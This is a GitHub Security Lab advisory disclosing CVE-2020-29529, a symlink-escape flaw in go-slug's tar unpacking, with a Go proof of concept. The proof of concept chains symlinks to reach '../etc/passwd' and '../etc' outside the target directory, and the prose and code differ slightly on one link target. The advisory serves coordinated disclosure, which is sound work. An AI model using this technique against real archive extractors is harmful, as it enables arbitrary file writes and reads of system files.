



[skip to content](#)  
[Back to GitHub.com](#)

 [Security Lab](#)  
[Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
  
[Home](#) [Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
January 12, 2021

# GHSL-2020-262: Unsafe handling of symbolic links in go-slug unpacking routine - CVE-2020-29529

 [GitHub Security Lab](#)

## Coordinated Disclosure Timeline

- 11/30/2020: reported to security@hashicorp.com
- 11/30/2020: issue is acknowledged
- 12/03/2020: go-slug 0.5 is released containing a fix for this vulnerability

## Summary

The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.

## Product

go-slug

## Tested Version

Latest commit at the time of reporting (November 27, 2020).

## Details

### Unsafe handling of symbolic links in unpacking routine

The routine `Unpack` attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking `subdir/parent` to `..` (allowed, because `subdir/..` falls within the archive root) and then linking `subdir/parent/escapes` to `..` results in a symbolic link pointing to the tarball's parent directory, contrary to the routine's goals.

Proof of concept, using a version of `Unpack` tweaked to accept an array of tar headers instead of working from an actual tar archive:

```
package main

import (
    "archive/tar"
    "fmt"
    "os"
    "path/filepath"
    "strings"
)

func main() {
    var headers []tar.Header = make([]tar.Header, 3)
    headers[0].Name = "subdir/parent"
    headers[0].Linkname = "."
    headers[0].Typeflag = tar.TypeSymlink

    headers[1].Name = "subdir/parent/passwd"
    headers[1].Linkname = "../etc/passwd"
    headers[1].Typeflag = tar.TypeSymlink

    headers[2].Name = "subdir/parent/etc"
    headers[2].Linkname = "../etc"
    headers[2].Typeflag = tar.TypeSymlink

    Unpack(headers, "/tmp/extracthere")
}

// Unpack is used to read and extract the contents of a slug to the dst
// directory. Symlinks within the slug are supported, provided their targets
// are relative and point to paths within the destination directory.
func Unpack(headers []tar.Header, dst string) error {

    // Unpackage all the contents into the directory.
    for _, header := range headers {

        // Get rid of absolute paths.
        path := header.Name
        if path[0] == '/' {
            path = path[1:]
        }
        path = filepath.Join(dst, path)

        // Make the directories to the path.
        dir := filepath.Dir(path)
        if err := os.MkdirAll(dir, 0755); err != nil {
            return fmt.Errorf("Failed to create directory %q: %v", dir, err)
        }

        // Handle symlinks.
        if header.Typeflag == tar.TypeSymlink {
            // Disallow absolute targets.
            if filepath.IsAbs(header.Linkname) {
                return fmt.Errorf("Invalid symlink (%q -> %q) has absolute target",
                    header.Name, header.Linkname)
            }

            // Ensure the link target is within the destination directory. This
            // disallows providing symlinks to external files and directories.
            target := filepath.Join(dir, header.Linkname)
            if !strings.HasPrefix(target, dst) {
                return fmt.Errorf("Invalid symlink (%q -> %q) has external target",
                    header.Name, header.Linkname)
            }

            // Create the symlink.
            if err := os.Symlink(header.Linkname, path); err != nil {
                return fmt.Errorf("Failed creating symlink (%q -> %q): %v",
                    header.Name, header.Linkname, err)
            }
        }
    }

    return nil
}
```

## Impact

This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.

## CVE

- [CVE-2020-29529](#)

## Resources

- [Fix commit](#)

## Credit

This issue was discovered and reported by GitHub team member [@smowton](#) ([Chris Smowton](#)).

## Contact

You can contact the GHSL team at [securitylab@github.com](mailto:securitylab@github.com), please include a reference to GHSL-2020-262 in any communication regarding this issue.

## GitHub

## Product

- [Features](#)
- [Security](#)
- [Enterprise](#)
- [Customer stories](#)
- [Pricing](#)
- [Resources](#)

## Platform

- [Developer API](#)
- [Partners](#)
- [Atom](#)
- [Electron](#)
- [GitHub Desktop](#)

## Support

- [Docs](#)
- [Community Forum](#)
- [Professional Services](#)
- [Status](#)
- [Contact GitHub](#)

## Company

- [About](#)
- [Blog](#)
- [Careers](#)
- [Press](#)
- [Shop](#)

- 
- 
- 
- 
- 

- © 2021 GitHub, Inc.
- [Terms](#)
- [Privacy](#)
- [Cookie settings](#)